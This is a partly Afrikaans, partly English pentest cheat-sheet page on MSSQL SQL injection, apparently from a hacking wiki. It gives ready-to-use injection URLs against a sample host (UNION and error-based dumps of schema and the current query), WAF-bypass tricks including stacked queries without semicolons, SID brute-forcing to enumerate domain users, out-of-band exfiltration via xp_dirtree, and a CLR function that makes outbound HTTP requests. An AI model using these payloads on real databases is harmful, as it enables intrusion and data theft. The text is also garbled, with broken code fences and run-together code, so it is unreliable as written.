Dit mag moontlik wees om domein gebruikers te enumerate via SQL-inspuiting binne 'n MSSQL bediener met behulp van die volgende MSSQL funksies:
SELECT DEFAULT_DOMAIN(): Kry huidige domeinnaam.
master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): As jy die naam van die domein (DOMAIN in hierdie voorbeeld) ken, sal hierdie funksie die SID van die gebruiker Administrator in hex formaat teruggee. Dit sal lyk soos 0x01050000000[...]0000f401, let op hoe die laaste 4 bytes die nommer 500 in big endian formaat is, wat die gewone ID van die gebruiker administrator is.
Hierdie funksie sal jou toelaat om die ID van die domein te ken (al die bytes behalwe die laaste 4).
SUSER_SNAME(0x01050000000[...]0000e803) : Hierdie funksie sal die gebruikersnaam van die aangeduide ID teruggee (indien enige), in hierdie geval 0000e803 in big endian == 1000 (gewoonlik is dit die ID van die eerste gewone gebruiker ID wat geskep is). Dan kan jy jou voorstel dat jy gebruikers-ID's van 1000 tot 2000 kan brute-force en waarskynlik al die gebruikersname van die gebruikers van die domein kan kry. Byvoorbeeld deur 'n funksie soos die volgende te gebruik:
defget_sid(n):domain ='0x0105000000000005150000001c00d1bcd181f1492bdfc236'user = struct.pack('<I', int(n))user = user.hex()returnf"{domain}{user}"#if n=1000, get SID of the user with ID 1000
Alternatiewe Fout-gebaseerde vektore
Fout-gebaseerde SQL-inspuitings lyk tipies soos konstruksies soos +AND+1=@@version-- en variasies gebaseer op die «OR» operator. Vrae wat sulke uitdrukkings bevat, word gewoonlik deur WAFs geblokkeer. As 'n omseiling, konkateer 'n string met die %2b karakter met die resultaat van spesifieke funksie-aanroepe wat 'n datatipe-omskakelingsfout op gesogte data veroorsaak.
# Checkif you have itSELECT*FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';# Or doingUsemaster;EXEC sp_helprotect 'fn_xe_file_target_read_file';
# Checkif you have itSELECT*FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';# Or doingUsemaster;EXEC sp_helprotect 'fn_get_audit_file';
# Checkif you have itSELECT*FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';# Or doingUsemaster;EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree, xp_fileexists, xp_subdirs
Gestoor prosedures soos xp_dirtree, hoewel nie amptelik gedokumenteer deur Microsoft nie, is deur ander aanlyn beskryf weens hul nut in netwerkbedrywighede binne MSSQL. Hierdie prosedures word dikwels gebruik in Out of Band Data exfiltrasie, soos getoon in verskeie voorbeelde en plase.
Die xp_dirtree gestoor prosedure, byvoorbeeld, word gebruik om netwerk versoeke te maak, maar dit is beperk tot slegs TCP poort 445. Die poortnommer is nie aanpasbaar nie, maar dit laat lees van netwerk gedeeltes toe. Die gebruik word gedemonstreer in die SQL skrip hieronder:
Dit is noemenswaardig dat hierdie metode dalk nie op alle stelsels konfigurasies werk nie, soos op Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) wat op 'n Windows Server 2016 Datacenter met standaardinstellings loop.
Boonop is daar alternatiewe gestoor prosedures soos master..xp_fileexist en xp_subdirs wat soortgelyke resultate kan behaal. Verdere besonderhede oor xp_fileexist kan in hierdie TechNet-artikel gevind word.
xp_cmdshell
Dit is duidelik dat jy ook xp_cmdshell kan gebruik om iets uit te voer wat 'n SSRF ontketen. Vir meer inligting lees die relevante afdeling op die bladsy:
Om 'n CLR UDF (Common Language Runtime User Defined Function) te skep, wat kode is wat in enige .NET-taal geskryf is en in 'n DLL gecompileer is, om binne MSSQL gelaai te word vir die uitvoering van pasgemaakte funksies, is 'n proses wat dbo toegang vereis. Dit beteken dit is gewoonlik slegs haalbaar wanneer die databasisverbinding as sa of met 'n Administrateur rol gemaak word.
'n Visual Studio-projek en installasie-instruksies word in hierdie Github-repositori verskaf om die laai van die binêre in MSSQL as 'n CLR-assemblage te vergemaklik, wat die uitvoering van HTTP GET-versoeke vanuit MSSQL moontlik maak.
Die kern van hierdie funksionaliteit is ingekapsuleer in die http.cs-lêer, wat die WebClient-klas gebruik om 'n GET-versoek uit te voer en inhoud te verkry soos hieronder geïllustreer:
usingSystem.Data.SqlTypes;usingSystem.Net;publicpartialclassUserDefinedFunctions{[Microsoft.SqlServer.Server.SqlFunction]publicstaticSqlStringhttp(SqlString url){var wc =newWebClient();var html =wc.DownloadString(url.Value);returnnewSqlString(html);}}
Voordat die CREATE ASSEMBLY SQL-opdrag uitgevoer word, word dit aanbeveel om die volgende SQL-snippet te loop om die SHA512-has van die assembly by die bediener se lys van vertroude assemblies te voeg (beskikbaar via select * from sys.trusted_assemblies;):
'n Bondige metode om die volle inhoud van 'n tabel in 'n enkele vraag te onttrek, behels die gebruik van die FOR JSON klousule. Hierdie benadering is meer bondig as om die FOR XML klousule te gebruik, wat 'n spesifieke modus soos "raw" vereis. Die FOR JSON klousule word verkies weens sy bondigheid.
Hier is hoe om die skema, tabelle en kolomme van die huidige databasis te herwin:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, ifnot provided with either, cannot be formatted asJSON. Here's an example of how this is done:```sql```markdownhttps://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
### Retrieving the Current Query
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
use [tempdb] createtable [test] ([id] int) insert [test] values(1) select [id] from [test] droptable[test]